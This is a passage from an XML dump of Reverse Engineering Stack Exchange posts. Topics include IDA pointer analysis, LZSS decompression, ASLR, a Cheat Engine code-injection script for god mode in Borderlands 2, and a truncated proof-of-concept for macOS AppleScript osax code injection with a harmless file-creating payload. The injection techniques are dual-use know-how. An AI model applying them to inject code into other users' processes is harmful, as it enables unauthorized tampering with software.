rel=&quot;noreferrer&quot;&gt;https://0xax.gitbooks.io/linux-insides/content/Misc/program_startup.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. Scott, Michael L. &lt;em&gt;Programming Language Pragmatics&lt;/em&gt;. 3rd ed. Page 117&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. Bryant, O'Hallaron. &lt;em&gt;Computer Systems: A Programmer's Perspective&lt;/em&gt;. 2nd ed. Page 220&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;3. Erickson, Jon. &lt;em&gt;Hacking: The Art of Exploitation&lt;/em&gt;. 2nd ed. Page 136&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-11-05T23:16:20.290" LastActivityDate="2017-11-05T23:16:20.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16714" PostTypeId="1" AcceptedAnswerId="16724" CreationDate="2017-11-05T02:47:01.477" Score="4" ViewCount="2606" Body="&lt;p&gt;So to gain more experience with reversing, I am currently trying to write an external hack for a video game called Borderlands 2. I've been using cheat engine to scan for addresses of instructions that modify values such as ammo and health. I found an instruction that seems to be used for loss of health, and total ammo for all entities in the game. (i.e filling it with NOPs doesn't help me, because it puts me, as well as all of the enemies in godmode and gives everything inf. ammo). My goal is to have one command put me in god mode and a different one to give me inf. ammo and not affect any of the other creatures. Does anyone know how I can NOP this shared instruction only for my health when I use a godmode command and only for my ammo when I use an inf. ammo command? I imagine I need to somehow figure out if the instruction is being used to update my player values (probably by comparing some other offset from the base address to the enemy values at that offset), but I also need to figure out how to determine if the instruction is trying to modify my health or ammo so that I can NOP it only when it is modifying the one corresponding to whichever command I currently have active. Any ideas are welcome! &lt;/p&gt;&#xA;" OwnerUserId="22104" LastActivityDate="2017-11-06T22:51:17.643" Title="Dealing with instructions that are accessed by multiple pieces of data" Tags="|assembly|memory|dynamic-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16715" PostTypeId="2" ParentId="12286" CreationDate="2017-11-05T08:06:12.353" Score="1" Body="&lt;p&gt;After some research i came to conclusion that we cannot simply change the keys.&#xA;As you already know they are all signed, and although the sign key looks to be the MIB-High_MI_public its actually a key that's in the NOR flash OTP area.&#xA;In our case it happens to be the same is the public key but we cant change that.&#xA;MIBRoot check this before it uses the keys found the the persist area.&#xA;Unless you change the flash chip you cant use your own keys so it just not worth the effort :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="21993" LastActivityDate="2017-11-05T08:06:12.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16716" PostTypeId="1" AcceptedAnswerId="16722" CreationDate="2017-11-05T19:33:25.507" Score="3" ViewCount="833" Body="&lt;p&gt;I am reverse engineering a binary in IDA Pro and I came across the function &lt;code&gt;sub_8048FB6&lt;/code&gt; which I think provides the address to a function pointer. The decompilation of the subroutine is as follows and I'm trying to find &lt;code&gt;result&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub_8048FB6(int a1)&#xA;{&#xA;  int result; // eax&#xA;  int v2; // [esp+0h] [ebp-10h]&#xA;  int v3; // [esp+4h] [ebp-Ch]&#xA;&#xA;  v2 = *(_DWORD *)dword_804C0D4;&#xA;  v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);&#xA;  if ( a1 &amp;amp; 1 )&#xA;    result = *(_DWORD *)(8 * a1 + v2) - v3;&#xA;  else&#xA;    result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;dword_804C0D4&lt;/code&gt; variable I will guess is pointing to a memory location and is only referenced 2 times in the binary as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Up  r   sub_8048FB6+6   mov     eax, ds:dword_804C0D4&#xA;Up  w   sub_804A24E+3   mov     ds:dword_804C0D4, offset unk_804C0B8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my guess is the offset to the variable &lt;code&gt;unk_804C0B8&lt;/code&gt; is the value which is in the address pointed by &lt;code&gt;ds:dword_804C0D4&lt;/code&gt;. If that's the case, with respect to where is the offset calculated? Once I double-click on &lt;code&gt;unk_804C0B8&lt;/code&gt; I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3↑o&#xA;LOAD:0804C0B9                 db 0FFh&#xA;LOAD:0804C0BA                 db 0FFh&#xA;LOAD:0804C0BB                 db  8Bh&#xA;LOAD:0804C0BC                 db  85h&#xA;LOAD:0804C0BD                 db  68h ; h&#xA;LOAD:0804C0BE                 db 0BFh&#xA;LOAD:0804C0BF                 db 0FBh&#xA;LOAD:0804C0C0                 db 0FFh&#xA;LOAD:0804C0C1                 db  89h&#xA;LOAD:0804C0C2                 db 0C2h&#xA;LOAD:0804C0C3                 db 0B8h&#xA;LOAD:0804C0C4                 db    0&#xA;LOAD:0804C0C5                 db    0&#xA;LOAD:0804C0C6                 db    0&#xA;LOAD:0804C0C7                 db    0&#xA;LOAD:0804C0C8 dword_804C0C8   dd 0FFEB0EE8h   ; DATA XREF: sub_8049D1E+2B1↑r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to read the value with all those &lt;code&gt;db&lt;/code&gt;s. What is the size of &lt;code&gt;offset unk_804C0B8&lt;/code&gt; and it's value? Am I proceeding correctly?&lt;/p&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2017-11-05T19:50:39.410" LastActivityDate="2017-11-06T10:12:03.437" Title="Function Pointer Assembly Calculations" Tags="|ida|pointer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16717" PostTypeId="1" AcceptedAnswerId="16723" CreationDate="2017-11-06T01:00:44.550" Score="3" ViewCount="159" Body="&lt;p&gt;Every time I restart windows it breaks the patch I've made to an executable where I've called a function from the dll user32.dll. Currently the offset for the function call resides at 0x76E3CDB4, but when I restart my computer it will change to some other address. Why is this and what can I do to make sure my assembly code will always call the function properly?&lt;/p&gt;&#xA;" OwnerUserId="8465" LastActivityDate="2017-11-06T18:12:59.477" Title="Why does this function calls offset move when I restart windows" Tags="|disassembly|windows|assembly|winapi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16718" PostTypeId="2" ParentId="16688" CreationDate="2017-11-06T04:30:29.620" Score="3" Body="&lt;p&gt;As already described in the updates to my question, it turned out that the compression algorithm is the standard &lt;a href=&quot;http://wiki.xentax.com/index.php/LZSS#Decompression&quot; rel=&quot;nofollow noreferrer&quot;&gt;LZSS algorithm&lt;/a&gt; with a 12 bit lookup index and 4 bit lookup length. They were just stored in an unexpected way (flipped bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the example from the question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5FC3 = 0 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 b&#xA;         &amp;lt;-------------&amp;gt; &amp;lt;-----&amp;gt; &amp;lt;-----&amp;gt;&#xA;         7             0 11    8 3     0 (bit indices)&#xA;             index        index  length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ordering the bits correctly yields the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lookup index  110001011111b = 3167&#xA;lookup length 0011b         = 3 (+ 3 [lookup threshold length] = 6) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the lookup is 6 bytes at buffer position 3167. The buffer position is absolute and always starts at the &quot;physical&quot; buffer index 0, it's not an offset to the circular buffer position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I had observed weird and changing lookup index offsets was&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the data contained multiple independent compressed sections, which once split, gave a constant buffer offset&lt;/li&gt;&#xA;&lt;li&gt;I still have to apply a buffer offset to decompress correctly, that is probably because of some data header or init data that I have not determined yet, but that is out of scope of this question&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22124" LastActivityDate="2017-11-06T04:30:29.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16719" PostTypeId="2" ParentId="1436" CreationDate="2017-11-06T07:54:32.090" Score="5" Body="&lt;p&gt;In addition to the other useful links here, I recommend to try &lt;a href=&quot;https://github.com/HynekPetrak/malware-jail&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malware-Jail&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js&lt;/p&gt;&#xA;&lt;p&gt;malware-jail is written for Node's 'vm' sandbox. Currently implements WScript (Windows Scripting Host) context env/wscript.js, at least the part frequently used by malware. Internet browser context is partialy implemented env/browser.js.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Checkout the &lt;a href=&quot;https://github.com/HynekPetrak/malware-jail&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt; repository to know more and see its usage and sample output.&lt;/p&gt;&#xA;" OwnerUserId="20654" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-11-06T07:54:32.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16720" PostTypeId="2" ParentId="16714" CreationDate="2017-11-06T07:57:07.380" Score="3" Body="&lt;p&gt;Kind of a shot into the blue here, but here are some thoughts which may help you and that won't fit into the comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D Engines often work with entity-Objects in flexible inheritance hierarchies. I assume something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class GameObject(x, y, z)&#xA;...&#xA;class GameEntity(x, y, z, health) : GameObject&#xA;    void takeDamage(x)&#xA;    void decreaseAmmo(x)&#xA;...&#xA;class Player() : GameEntity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In most common languages (like C++), each class will have a separate function table pointing at the implementations of all class methods. For example, when we call &lt;code&gt;takeDamage&lt;/code&gt; on a &lt;code&gt;Player&lt;/code&gt;-Object, we would expect the method implemented for all &lt;code&gt;GameEntities&lt;/code&gt; to be executed. Therefore NOP'ing out the function will have the effects you described before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you have two valid options: Find the right function pointer to manipulate or check the identity of the &lt;code&gt;this&lt;/code&gt;-pointer which is often passed as the first parameter to a member function.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-11-06T07:57:07.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16722" PostTypeId="2" ParentId="16716" CreationDate="2017-11-06T08:54:25.640" Score="3" Body="&lt;pre&gt;&lt;code&gt;mov     ds:dword_804C0D4, offset unk_804C0B8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so if this &lt;strong&gt;instruction was executed first before the sub was called&lt;/strong&gt; then&lt;/p&gt;&#xA;&lt;p&gt;0x804c0d4 would contain &lt;strong&gt;0x804c0b8&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;v2 = *(_DWORD *)dword_804C0D4;&lt;/p&gt;&#xA;&lt;p&gt;so v2 would be 0x804c0b8&lt;/p&gt;&#xA;&lt;p&gt;assuming int a1 == 0&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;v3 would be  ((8 * 0) + 4 + 0x804c0b8) == (0 + 4 +0x804c0b8)  == *(0x804c0bc) ==  0xfbbf6885&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                              db  85h&#xA;LOAD:0804C0BD                 db  68h ; h&#xA;LOAD:0804C0BE                 db 0BFh&#xA;LOAD:0804C0BF                 db 0FBh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to define a dword you can press d two times at 0x804c0bc&lt;/p&gt;&#xA;&lt;p&gt;since a1 was assumed to be 0 the if clause is not satisfied&#xA;and the execution moves to else clause&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;**(8*0 + 0x804c0b8) == **(0x804c0b8) ==  *0x8bffffe8&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3↑o&#xA;LOAD:0804C0B9                 db 0FFh&#xA;LOAD:0804C0BA                 db 0FFh&#xA;LOAD:0804C0BB                 db  8Bh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you don't show what is at 8bffffe8&lt;/p&gt;&#xA;&lt;p&gt;result should be what is at 8bffffe8 - 0xfbbf6885&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;incase a1 == 1 then it appears you have a NULL pointer&#xA;so you should reverse some thing else first which moves some data to&#xA;0x804c0c4&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-11-06T10:12:03.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16723" PostTypeId="2" ParentId="16717" CreationDate="2017-11-06T09:29:59.730" Score="4" Body="&lt;p&gt;This may be due to Address Space Layout Randomization &#xA;aka ASLR (e.g. see &lt;a href=&quot;https://www.symantec.com/avcenter/reference/Address_Space_Layout_Randomization.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this overview by Symantec&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System modules' load addresses are randomized on each boot and &#xA;executable images' are randomized on each execution in OS &gt; Vista &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can check that with some simple code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat aslr.cpp&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;void main (void)&#xA;{&#xA;    HMODULE hMod = LoadLibraryA(&quot;user32.dll&quot;);&#xA;    if(hMod){&#xA;        printf(&quot;My Load Addr\t%p My user Addr\t%p\n&quot; , &amp;amp;main,hMod);&#xA;        FreeLibrary(hMod);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed the result as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;for /L %i in (1,1,10) do aslr.exe&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    00121000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    00031000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    00FB1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    002F1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    011B1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    011B1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    011B1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    011B1000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    00181000 My user Addr   773A0000&#xA;&#xA;:\&amp;gt;aslr.exe&#xA;My Load Addr    01121000 My user Addr   773A0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be sure you patch right you should work with RVA (Relative Virtual Address) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is get the base of module every time and add a fixed offset that you determined earlier every time &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you patched @ 0x12345678 and when you patched the module was loaded at 0x10000000  then you have a difference of 0x2345678 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;next time if the module was loaded at 0x20000000 you use the address 0x20000000+0x2345678 == 0x22345678&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="60" LastEditDate="2017-11-06T18:12:59.477" LastActivityDate="2017-11-06T18:12:59.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16724" PostTypeId="2" ParentId="16714" CreationDate="2017-11-06T14:38:48.717" Score="6" Body="&lt;p&gt;The joy of shared instructions! Here are a couple of ideas for you to consider, both of which I'm going to be using Cheat Engine to demonstrate, because it's fast becoming the superior dynamic analysis tool &lt;em&gt;for game-hacking&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;. Instead of looking for the instruction that writes to the address, right-click on it and look for instructions that &lt;em&gt;access&lt;/em&gt; the address. There, you will find instructions that read the value from the address, as well as instructions that write to it. An example of an instruction that reads the value might be for the HUD representation of health. To know how far up to show your health bar being filled, it reads the value from your health address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that means is if you find an address that &lt;em&gt;reads&lt;/em&gt; your health value, that may be the only thing that instruction does. You can then create a code injection just before that instruction and move a custom value into the address that's being referenced or pointed at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say this is an instruction that reads from your health address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mov eax,[ecx+0C]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, your health address is being pointed to by [ecx+0C]. The value there is being moved into the eax register. What you could do is create a code injection at that instruction with which to write a custom health value to [ecx+0C] before the mov instruction runs. That would change the actual value of health, and thus that custom value is then read from the address. This is easy to do with Cheat Engine (via its native code injection functionality), but otherwise requires you to look into &lt;strong&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&quot; rel=&quot;nofollow noreferrer&quot;&gt;code-caving&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; To use a shared instruction like the one you've found, you have to find a way to differentiate what you want to influence, from the rest of the addresses being written to. This can look like a daunting task, especially when you find a shared instruction like &lt;a href=&quot;https://www.youtube.com/watch?v=5fJFSOPGZyQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;in GameMaker games&lt;/a&gt; where HUNDREDS of addresses are all being written to through one instruction, but fear not!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are to find differences in the following places:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A) Memory addresses (Including the stack)&#xA;B) Registers (General purpose, FPU/XMM, special purpose, etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right-click on the shared instruction and choose &quot;Find out what addresses this instruction accesses.&quot; A new window will pop up showing addresses that instruction is writing to. From that window, you can do a whole lot of neat things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, Cheat Engine provides a handy Data/Structure Dissect tool that you can use to compare values between multiple memory addresses. If you select all the addresses (Shift-click, or Ctrl-click the ones you're interested in), then right-click, you'll see an option to open the data dissect tool. There, you can compare values to find differences in the same offsets!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something else you can do from that list of addresses is hit Ctrl + R to view the contents of registers. There, you can usually find a register containing a different value between all addresses (you'll want to look for a differing value that's NOT a dynamic memory address, because that value will change when restarting the game).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when viewing the contents of registers, there are two little buttons on that window: 'S' and 'F'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'S' lets you view the stack. There, you can look for values to differentiate. 'F' lets you view the contents of the FPU, and XMM registers. Sometimes, the latter can be helpful because, say, the FPU might have been used ONLY for health and not for any other values that shared instruction is writing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bringing it all together, you'll use whatever unique value(s) you find to write a custom code injection that will allow you to single out the value you're interested in. Let's say your instruction is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mov [edx+0C],eax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And let's say that, in register ebx, you found a unique value of 2B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your injected code might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;label(customCode)&#xA;label(restoreFlags)&#xA;label(originalCode)&#xA;label(return)&#xA;&#xA;customCode:&#xA;  pushf //Preserve flags register by pushing onto the stack&#xA;  cmp ebx,2B //Does ebx contain the value you're interested in?&#xA;  jne restoreFlags //If not, restore flags register and resume normal execution&#xA;  mov eax,(float)100 //If so, move a custom health value into eax for originalCode&#xA;  //Execution flow from here moves to restoreFlags&#xA;&#xA;restoreFlags:&#xA;  popf //Restore flags register&#xA;  //Execution flow from here moves to originalCode&#xA;&#xA;originalCode:&#xA;  mov [edx+0C],eax //eax contains either value from normal execution, or custom health&#xA;  jmp return //Return to the point we injected and resume normal execution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't mean this as shameless self-promotion, but I've been running a YouTube channel for the better part of 3 years that teaches reversing via game-hacking. If games are your medium and you enjoy learning via videos, I think you'd really learn a lot from &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=m7yaYoc-ils&amp;amp;list=PLNffuWEygffbbT9Vz-Y1NXQxv2m6mrmHr&amp;amp;index=18&quot; rel=&quot;nofollow noreferrer&quot;&gt;my CE tutorial series&lt;/a&gt;&lt;/strong&gt;, specifically. I also teach game-specific hacks, like Cuphead, ELEX, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-11-06T22:51:17.643" LastActivityDate="2017-11-06T22:51:17.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16725" PostTypeId="1" CreationDate="2017-11-06T16:10:26.697" Score="2" ViewCount="314" Body="&lt;p&gt;I am trying to make a POC of code injection using applescript injection technic which is used in GitHub project &lt;code&gt;EasySIMBL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method also described &lt;a href=&quot;https://papers.put.as/papers/macosx/2014/ShakaCon6-FuckYouHackingTeam.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;(It's basically a huge article, just search for AppleScript at bundle injection, and you’ll get there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps I've done : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I made a bundle suffix &lt;code&gt;osax&lt;/code&gt; file that creates a file at &lt;code&gt;/tmp/test.txt&lt;/code&gt;. The bundle contains the following items:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1.1 Info.plist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=“1.0” encoding=“UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd“&amp;gt;&#xA;&amp;lt;plist version=“1.0”&amp;gt;&#xA;&amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleDevelopmentRegion&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;English&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleExecutable&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;OsaxLoaded&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleIdentifier&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;com.yourcompany.OsaxLoaded&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleInfoDictionaryVersion&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;6.0&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleName&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;OsaxLoaded&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundlePackageType&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;osax&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleShortVersionString&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;1.0&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleSignature&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;ascr&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;CFBundleVersion&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;1&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;OSAScriptingDefinition&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;app.sdef&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;OSAXHandlers&amp;lt;/key&amp;gt;&#xA;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;Events&amp;lt;/key&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;OPNeopen&amp;lt;/key&amp;gt;&#xA;            &amp;lt;dict&amp;gt;&#xA;                &amp;lt;key&amp;gt;Context&amp;lt;/key&amp;gt;&#xA;                &amp;lt;string&amp;gt;Process&amp;lt;/string&amp;gt;&#xA;                &amp;lt;key&amp;gt;Handler&amp;lt;/key&amp;gt;&#xA;                &amp;lt;string&amp;gt;InjectEventHandler&amp;lt;/string&amp;gt;&#xA;                &amp;lt;key&amp;gt;ThreadSafe&amp;lt;/key&amp;gt;&#xA;                &amp;lt;true/&amp;gt;&#xA;            &amp;lt;/dict&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;&amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1.2 The code to be injected (&lt;code&gt;osax&lt;/code&gt; bundle):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  main.m&#xA;//  OsaxLoaded&#xA;//&#xA;//&#xA;&#xA;#import &amp;lt;Foundation/Foundation.h&amp;gt;&#xA;&#xA;__attribute__((visibility(“default”)))&#xA;OSErr InjectEventHandler(const AppleEvent *ev, AppleEvent *reply, long refcon)&#xA;{&#xA;    OSErr resultCode = noErr;&#xA;    [[NSFileManager defaultManager] createFileAtPath:@“/tmp/test.txt” contents:nil attributes:nil];&#xA;    return resultCode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the structure of my &lt;code&gt;osax&lt;/code&gt; bundle :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sh-3.2# ls /Library/ScriptingAdditions/OsaxLoaded.osax/Contents/&#xA;Info.plist    MacOS        _CodeSignature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I put the &lt;code&gt;osax&lt;/code&gt; bundle at /Library/ScriptingAdditions/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I wrote a templated Cocoa App (injection target) that does nothing (didn't add any additional code) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I wrote a Mach-o that should make the app I wrote previously to load the script addition (osax bundle).&#xA;After that it sends the event that corresponds to the event in info.plist and should execute the handler I wrote in the osax bundle Mach-o.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The injector code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  main.m&#xA;//  OsaxInjector&#xA;//&#xA;//&#xA;&#xA;#import &amp;lt;Foundation/Foundation.h&amp;gt;&#xA;#import &amp;lt;Carbon/Carbon.h&amp;gt;&#xA;#import &amp;lt;ScriptingBridge/ScriptingBridge.h&amp;gt;&#xA;&#xA;int main(int argc, const char * argv[]) {&#xA;    @autoreleasepool {&#xA;        if (argc != 2)&#xA;        {&#xA;            printf(“USAGE: injector pid\n”);&#xA;            return 1;&#xA;        }&#xA;        TEST *test = [[TEST alloc] init];&#xA;        pid_t pid = atoi(argv[1]);&#xA;        SBApplication* sbApp = [SBApplication applicationWithProcessIdentifier:pid];&#xA;        [sbApp setSendMode:kAENoReply | kAENeverInteract | 